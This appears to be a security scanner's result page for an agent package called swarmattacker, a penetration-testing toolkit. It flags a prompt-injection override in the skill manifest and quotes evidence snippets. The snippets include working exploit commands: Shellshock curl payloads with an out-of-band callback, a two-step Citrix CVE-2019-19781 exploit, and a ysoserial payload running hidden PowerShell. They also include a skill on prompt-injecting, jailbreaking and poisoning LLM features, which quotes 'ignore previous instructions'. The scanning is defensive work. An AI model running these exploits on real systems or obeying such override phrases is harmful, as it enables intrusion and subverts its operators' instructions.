swarmattacker 0.1.1
Penetration testing attack toolkit
“Multi-methodology swarm penetration testing agent built with LangGraph”
Agent skill manifest carries prompt injectionAgent skill tool attempts to override prior instructions
SHA-256409f3e1a4e5e205ab007b979294c117719e9c95893185feb6363d8d6450eca47
Evidence
12:27… �� `User-Agent`, `Cookie`, `Referer` all work.
13
14```bash
15# Quiet oracle first: time-delay confirms execution with no callback infra
16curl -s -H "User-Agent: () { :;}; /bin/sleep 6" http://TARGET/cgi-bin/status
17
18# OAST confirm
19curl -s -H "User-Agent: () { :;}; /usr/bin/curl http://oast.tld/$(hostname)" http://TARGET/cgi-bin/status
20
21# Read a fil …
54:84… logged-in low-priv user.
55
56## Citrix ADC / NetScaler — path-traversal template write (CVE-2019-19781)
57
58Unauthenticated. A `/vpn/../vpns/` traversal reaches a Perl template handler that writes an uploaded NSC_NONCE
59bookmark file, then a second request renders it — your template string runs as Perl.
60
61```bash
62# Step 1: write a template carrying the command (sets an env var, then renders it)
63curl -s -k 'https://TARGET/vpn/../vpns/portal/scripts/newbm.pl' \
64 -H 'NSC_USER: ../../../netscaler/portal/templates/x' -H 'NSC_NONCE: c' \
65 --data 'url=http://x&title=[%t=template.new({BLOCK=%27exec(%22id%22)%3B%27})%3B%t.render()%fln=x'
66# Step 2: render it
67curl -s -k 'https://TARGET/vpn/../vpns/portal/x.xml' -H 'NSC_USER: ../../../netscaler/portal/templates/x'
68```
69nuclei ships templates for this CVE; confirm exposure first with `nuclei -t http/cves/2019/CVE-2019-19781.yaml`.
70
71## Log4S …
20:18… 16LE | base64 -w0 # paste into -Enc below
21java -jar ysoserial.jar CommonsCollections4 \
22 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc <B64UTF16>" > payload.ser
23```
24
⋯4 lines
1---
2name: ai-security
3description: Use when testing LLM-backed features inside web applications — direct and indirect prompt injection, jailbreaks, system-prompt leakage, tool-call hijacking, RAG-corpus poisoning, embedding-space attacks, output-handling vulnerabilities (rendered mark …
⋯4 lines
80
81### Direct prompt injection
82The user's message itself contains "ignore previous instructions and …"
83or a more subtle override. Probe with classic and modern variants:
84single-shot overrides, role declarations, hypothetical framing,
⋯4 lines
Showing the top 5 files — 7 more files (56 regions) not shown.
No evidence locations were recorded for this file. Raw result